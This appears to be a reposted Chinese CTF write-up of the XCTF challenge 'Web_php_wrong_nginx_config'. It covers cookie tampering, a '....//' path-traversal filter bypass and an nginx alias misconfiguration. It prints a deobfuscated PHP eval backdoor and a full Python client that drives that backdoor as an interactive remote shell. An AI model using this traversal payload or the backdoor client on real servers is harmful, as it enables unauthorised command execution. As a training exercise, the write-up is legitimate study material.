攻防世界Web:Web_php_wrong_nginx_config

2023-11-07

首先进来是一个登录页面:
在这里插入图片描述通过御剑扫描,发现了robots.txt,打开发现两个php文件:
在这里插入图片描述hint.php:
在这里插入图片描述Hack.php是跳转到登录页面:
在这里插入图片描述抓包看看Hack.php,发现了可疑的点Cookie:isLogin=0,不妨修改为1,进入控制中心:
在这里插入图片描述发现url中file=index&ext=php,不妨测试一下../,发现这里过滤了../
在这里插入图片描述绕过../,根据hint.php可以知道配置文件的路径,那就构造payload:file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=,读取

server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

代码审计,关键词alias:用来指定请求资源的真实路径,访问web-img
在这里插入图片描述找到敏感文件:/var/www/hack.php.bak
在这里插入图片描述根据经验,这应该是一个PHP混淆,输出$f看看:
在这里插入图片描述整理代码:

<?php
        $kh="42f4";
        $kf="e9ac";
        function x($t,$k){
            $c=strlen($k);
            $l=strlen($t);
            $o="";
            for($i=0;$i<$l;){
                for($j=0;($j<$c&&$i<$l);$j++,$i++){
                    $o.=$t{$i}^$k{$j};
                }
            }
            return $o;
        }
        $r=$_SERVER;
        $rr=@$r["HTTP_REFERER"];
        $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
        if($rr&&$ra){
            $u=parse_url($rr); 
            parse_str($u["query"],$q); 
            $q=array_values($q);        
           
            preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
            if($q&&$m){
                @session_start();
                $s=&$_SESSION;
                $ss="substr";
                $sl="strtolower";
                $i=$m[1][0].$m[1][1];  
                $h=$sl($ss(md5($i.$kh),0,3)); 
                $f=$sl($ss(md5($i.$kf),0,3)); 
                $p="";
                for($z=1;$z<count($m[1]);$z++)  
                    $p.=$q[$m[2][$z]];         
                if(strpos($p,$h)===0){        
                    $s[$i]="";        
                    $p=$ss($p,3);    
                }
                if(array_key_exists($i,$s)){         
                    $s[$i].=$p;
                    $e=strpos($s[$i],$f); 
                    if($e){    
                        $k=$kh.$kf; 
                        ob_start();
                        @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                        $o=ob_get_contents();
                        ob_end_clean();
                        $d=base64_encode(x(gzcompress($o),$k));
                        print("<$k>$d</$k>");
                        @session_destroy();
                    }
                }
            }
        }


到这我能想到的就差不多了,看了师傅们的脚本代码:

# encoding: utf-8
# 注意修改 url , keyh , keyf 等参数

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

# 用于生成完整的 Accept-Language
def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []    # 结果
    indexes = []    # 索引
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

# 生成随机填充字符串( 由所有 ASCII 字符组成 , 包括不可读的字符 )
def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

# 生成随机填充字符串( 由所有大小写字母组成 )
def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        # choice() 方法返回一个列表,元组或字符串的随机项
        # string.ascii_letters 会生成所有的字母
        result += choice(string.ascii_letters)
    return result

# 模拟 x() 函数 , 循环异或加密
def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result

# 开启 Debug 选项
def debugPrint(msg):
    if debugging:
        print msg

# 定义基本变量
debugging = False    # 默认关闭 Debug , 可用 True 开启
keyh = "42f7"    # $kh , 需要修改
keyf = "e9ac"    # $kf , 需要修改
xorKey = keyh + keyf    # $k
url = 'http://111.200.241.244:59477/hack.php'    # 指定 URL  , 需要修改
defaultLang = 'zh-CN'    #默认Language
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']    #Accept-Language 模板
proxies = None    # {'http':'http://127.0.0.1:8080'} # 代理 , 可用于 BurpSuite 等
sess = requests.Session()    # 创建一个 SESSION 对象

# 每次会话会产生一次随机的 Accept-Language
langTmp = choicePart(languages,3)    # 输出一个列表 , 包含模板中的三种 Accept-language
indexes = sorted(choicePart(range(1,10),3), reverse=True)    # 降序排序输出三个权重值 , 例如 [8,6,4]

acceptLang = [defaultLang]   # 先添加默认Language
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))    # 然后循环添加三种 Accept-Language , 并为其添加权重值
acceptLangStr = ','.join(acceptLang)    # 将多个 Accept-Language 用 " , " 拼接在一起
# acceptLangStr 即为要使用的 Accept-Language
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]    # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]    # $h
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))    # $f + 填充字符串
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# 交互式 Shell
cmd = "system('" + raw_input('shell > ') + "');"
while cmd != '':
    # 在写入 Payload 前填充一些无关数据
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))    # 生成无关数据并填充
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # 对 Payload 进行加密
    payload = zlib.compress(cmd)    # gzcompress 操作
    payload = loopXor(payload,xorKey)    # 循环异或运算 , PHP代码中的 x() 函数
    payload = base64.urlsafe_b64encode(payload)    # base64_encode 编码
    payload = md5head + payload    #    在开头补全$h

    #  对Payload进行修改
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    # 将 Payload 作为查询字符串编码拼接到 Referer 中
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # 发送 HTTP GET 请求
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # 接收响应数据包
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    # 如果没有收到响应数据包
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = "system('" + raw_input('shell > ') + "');"
        continue
    # 如果收到响应数据包 , 则对其进行处理
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')    # base64_decode 解码
    output = loopXor(output,xorKey)    # 循环异或运算
    output = zlib.decompress(output)   # gzuncompress 运算
    print output    # 输出响应信息
    cmd = "system('" + raw_input('shell > ') + "');"



运行就可以拿到flag

这题有点超出了我的能力范围,代码能力还需要不断提升!

总结:
PHP混淆
后门脚本

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

攻防世界Web:Web_php_wrong_nginx_config 的相关文章

  • 标准化 UTF-8 到底是什么?

    The 重症监护室项目 http userguide icu project org transforms normalization 现在也有一个PHP库 http us php net manual en class normalize
  • 拒绝框架 '',因为它违反了以下内容安全策略指令

    我们使用 Confluence Companion 工具在本地编辑 Confluence 中的文件 https confluence atlassian com doc edit files 170494553 html https con
  • 一次播种多行 laravel 5

    我目前正在尝试为我的用户表播种 如果我像这样尝试 2 行 就会失败 如果我只使用单个数组而不是 users 数组内的 2 个数组来创建一些假数据 那么效果很好 我做错了什么 正确的方法是什么 class UserTableSeeder ex
  • post php mysql 的拆分关键字

    我有一个表存储帖子 ID 它的标签如下 Post id Tags 1 keyword1 keyword2 keyword3 我想循环遍历该表中的每一行并执行以下操作 将关键字1 关键字2 关键字3放入新表中 word id word val
  • 无法显示 Laravel 欢迎页面

    我的服务器位于 DigitalOcean 云上 我正在使用 Ubuntu 和 Apache Web 服务器 我的家用计算机运行的是 Windows 7 我使用 putty 作为终端 遵循所有指示https laracasts com ser
  • PHP 如何再次传输 mp3 流

    我正在尝试从 http 的无线电流 MP3 获取数据 并希望以 https 的形式将其流式传输 这是我尝试过的
  • 根据用户角色将帖子状态更改为待处理

    我有会员网站 用户必须付费才能订阅 当用户订阅时 他的角色变为 成员 现在可以发布到名为 用户配置文件 的自定义帖子类型 我想要做的是将所有已发布帖子的状态更改为该帖子类型中的待处理 例如 如果用户角色更改为 已过期 我尝试了这个 但似乎没
  • SQL:在行中保留计数或从数据库中选择计数

    示例 我有 2 张桌子 类别 Posts 在这样的类别中保留帖子编号是一个好方法吗 类别 id title posts 1 golf 50 2 soccer 90 posts id title category id 1 news 1 1
  • 使用 JavaScript 在 HTML 表中动态添加行并通过提交按钮获取每个文本框的文本框值

    我有一个可以动态添加行的表 当我提交保存按钮时 我想将每行中的数据获取到 php 数组 请有人帮我解决这个问题 我是java脚本的新手 对此知之甚少 谢谢你
  • 我可以使用 WGET 生成给定 URL 的网站的站点地图吗?

    我需要一个可以抓取网站并以纯文本或类似格式返回所有已抓取页面的列表的脚本 我将把它作为站点地图提交给搜索引擎 我可以使用 WGET 生成网站的站点地图吗 或者有没有一个 PHP 脚本可以做同样的事情 wget spider recursiv
  • 基于mysql表中唯一电子邮件地址的唯一代码?

    我有一个 mysql 表 它将存储用户电子邮件地址 每个地址都是唯一的 并且是主字段 和时间戳 我添加了另一列名为 unique code varchar 64 utf8 unicode ci 我非常感谢您提供的帮助 a 生成5位字母数字代
  • 如何使用 Laravel Eloquent 创建多个Where子句查询?

    我正在使用 Laravel Eloquent 查询构建器 并且我有一个查询 我想要一个WHERE多个条件的子句 它可以工作 但并不优雅 Example results User where this 1 gt where that 1 gt
  • Magento - 从观察者方法重定向客户

    在本次活动中checkout cart add product complete 我希望客户被重定向到外部网页http www example com 为此 我使用这段代码 它根本不起作用 public function moduleMet
  • 将 NULL 变量插入数据库

    我将变量设置为 NULL 我试图将其插入数据库 但由于某种原因 它们一直以 0 的形式提交 我确信我试图插入的列允许 NULL 并且默认值设置为 NULL 这是我的代码 insert NULL query mysql query INSER
  • PHP PCRE 函数中的 $0 是什么

    我读过一个文档preg filter功能如下 这是来自 php net http php net manual en function preg filter php site subject array 1 a 2 b 3 A B 4 p
  • 如何在 Kohana 中包装 PHP 遗留代码?

    我有大量用 PHP 编写的遗留代码 这些代码不是在任何特定框架上编写的 而是主要是老式风格 即内联 PHP 然而 我的大部分新代码都是在 Kohana 3 1 X 框架上编写的 尽管 Kohana 确实允许遗留代码和 Kohana 文件在同
  • 无法使用模式 r: fopen(): AWS Elastic Beanstalk 打开

    错误 无法使用模式 r fopen 打开 文件名不能为空当我尝试上传较大的文件 超过 5MB 时 我不断收到此错误 我已将 PHP 应用程序上传到 AWS Elastic Beanstalk 并将文件上传到 AWS S3 我的代码中甚至没有
  • vagrant box速度慢,如何改进?

    我们已经为我们的开发盒构建了一个 vagrant box 但我们面临着一些延迟问题 Issues Assetic 手表速度很慢 app dev php 中的整体应用程序访问速度很慢 在 vagrant box 的共享文件夹中使用 查找 命令
  • 登录页面上出现错误“警告:尝试访问 bool 类型值的数组偏移量”[重复]

    这个问题在这里已经有答案了 我目前正在为一个学校项目制作一个网站 并且正在制作一个用户注册系统 目前 注册部分与进入 MySQL 数据库的用户数据完美配合 但是 我的登录页面似乎已损坏 每次我尝试登录时都会收到以下错误 警告 尝试访问第 2
  • “完整性约束违规:1062 重复条目” - 但没有重复行

    我正在将应用程序从本机 mysqli 调用转换为 PDO 尝试将行插入具有外键约束的表时遇到错误 Note 这是一个简化的测试用例 不应复制 粘贴到生产环境中 InfoPHP 5 3 MySQL 5 4 首先 这是表格 CREATE TAB

随机推荐

  • 静态代码扫描环境搭建(mac)

    一 安装要求 1 1 软件要求 在进行sonarqube环境安装和搭建前务必确定当前机器和平台配置满足如下要求 机器上需要安装java Oracle JRE 11 或 OpenJDK 11 SonarQube服务器需要的java版本为11
  • 数据分析-数据清洗与整理

    1 数据清洗 第一步 对异常值进行处理 首先 查看原数据库是否一样 然后 查询是否信息录入时出现错误 最后 看看是不是顾客随意填写的信息 第二步 对离群值进行处理 首先 查询是否与原数据库一致 然后 查询是否信息录入错误 最后 判断是否符合
  • Selenium成长之路-18多窗口切换

    在实际测试过程中 打开多窗口是进行测试是很正常的事情 那么在自动化测试中 也需要开启多窗口来进行测试 我们来分析一下 打开多窗口测试的思路 1 打开一个目标网页 2 再次打开新的网页 3 获得所有窗口的 4 循环判断窗口是否为当前窗口 5
  • 2024最强秋招八股文(精简、纯手打)

    7 28日已更新 错误已修改 有错误的地方 欢迎大家留言 目录 一 Java基础篇 1 接口和抽象类的区别 2 重载和重写的区别 3 和equals的区别 4 异常处理机制 5 HashMap原理 6 想要线程安全的HashMap怎么办 7
  • 让idea自动生成类关系图

    学习了解一些开源的工具源码 有时需要了解到程序入口及项目类之间的关系 Idea工具提供了这个功能 以Jmeter5 1 1源码为例 看下RemoteJMeterEngineImpl类的关系图 操作方法 1 定位到RemoteJMeterEn
  • 窗体的扩展样式GWL_EXSTYLE: 用于SetWindowLong

    SetWindowLong Handle GWL EXSTYLE GetWindowLong Handle GWL EXSTYLE or WS EX TRANSPARENT or WS EX LAYERED WS EX ACCEPTFILE
  • 若依框架主子表数据导出问题

    一 使用若依框架导出主子表数据因为返回的数据中含有子表的集合信息 导致excel表格中多出一行标题 二 在Controller层写入导出的方法 三 这边返回的数据是主表的数据 主表数据的实体类中含有子表的集合信息 四 如果不想要子表信息就把
  • 车载无线控制服务器,车载无线视频监控系统应用整体解决方案

    车载视频监控系统整体描述 前言 现如今社会存在一些不良分子扰乱社会治安 盗窃 抢劫 斗殴 民事纠纷 面对这些突发现象 在公安执法 治安巡逻的过程中 很多时候都要随时把过程记录下来 作为记录 取证 证明等各种用途 这时候车载无线视频监控系统起
  • Passing the Message HDU - 3410(单调栈模板题,简单应用)

    题意 现在有n个人站成一行 告诉你每个人的身高 现在每个人都要找到在他左边 比他矮的人中最高的人的位置 同时也要找到 在他右边比他矮的人中最高的人的位置 注意由于他们是站成一行的 所以他们不能越过比他们高的人去看后面的人 也就是说 他只能看
  • IDEA设置忽略idea文件和iml文件

    1 File gt Settings 2 Editor gt File Types 3 红框那里填上 iml idea
  • C语言中的宏定义

    1 简单宏定义 简单的宏定义有如下格式 define指令 简单的宏 define 标识符替换列表 替换列表是一系列的C语言记号 包括标识符 关键字 数 字符常量 字符串字面量 运算符和标点符号 当预处理器遇到一个宏定义时 会做一个 标识符
  • [Android]从零开始的内核编译

    从零开始的内核编译 本教程将基于小米 10S 的内核源码进行实例 其他型号的手机请自行寻找内核源码 具体内容可以参考我的内核编译项目 手机型号查询 1 获取设备 手机 代号 在安卓设备终端 adb shell 上执行 getprop gre
  • 检测之VOC转COCO

    文章目录 1 获取标注文件及label名与ID对应关系 1 1 获取label2id及标注xml路径 2 xml格式转coco 检测系列相关文章参考如下链接 VOC数据的结构介绍及自定义生成 用labelimg自已标注 VOC标准数据的生成
  • Servlet 作业

    一 填空题 1 Servlet 中使用Session 对象的步骤为 调用HttpServletRequest getSession 的得到Session对象 查看Session对象 在会话中保存数据 2 http 全称是 HyperText
  • Python 计算机视觉(二) —— OpenCV 基础

    目录 1 安装配置 2 OpenCV 基础语法 1 读取图像并显示 2 调整显示窗口大小 3 调整图像尺寸大小 4 图像灰度处理 3 几何图形绘制 1 绘制线段 2 绘制矩形 3 绘制圆形 4 绘制椭圆 5 添加文本 总结 1 安装配置 打
  • ssh遇到port 22:No route to host问题

    ssh遇到这个port 22 No route to host的这个问题其实是比较常见的问题 通常是两个思路 检查防火墙状态 检查ssh状态 这两个方面的解决方案非常常见 无非就是查看这两个 防火墙是否关闭和ssh是否正在运行 大家自行百度
  • SpringCloud 使用sentinel

    一 添加依赖
  • 都2023年了,还有必要学SSH框架吗

    在Web开发中 框架是开发效率和代码质量的保障 SSH框架是指结合了Struts2 Spring和Hibernate3三个开源框架所形成的一种框架 那么 在2023年 我们是否仍然需要学习SSH框架呢 本文将进行探讨 分析SSH框架的优缺点
  • 高中信息技术python知识点_高中信息技术《Python语言》模块试卷

    高中信息技术 Python语言 模块试卷 由会员分享 可在线阅读 更多相关 高中信息技术 Python语言 模块试卷 3页珍藏版 请在人人文库网上搜索 1 区县 姓名 座号 密 封 线 高中信息技术Python语言模块试卷本试卷分为五大题
  • 攻防世界Web:Web_php_wrong_nginx_config

    首先进来是一个登录页面 通过御剑扫描 发现了robots txt 打开发现两个php文件 hint php Hack php是跳转到登录页面 抓包看看Hack php 发现了可疑的点Cookie isLogin 0 不妨修改为1 进入控制中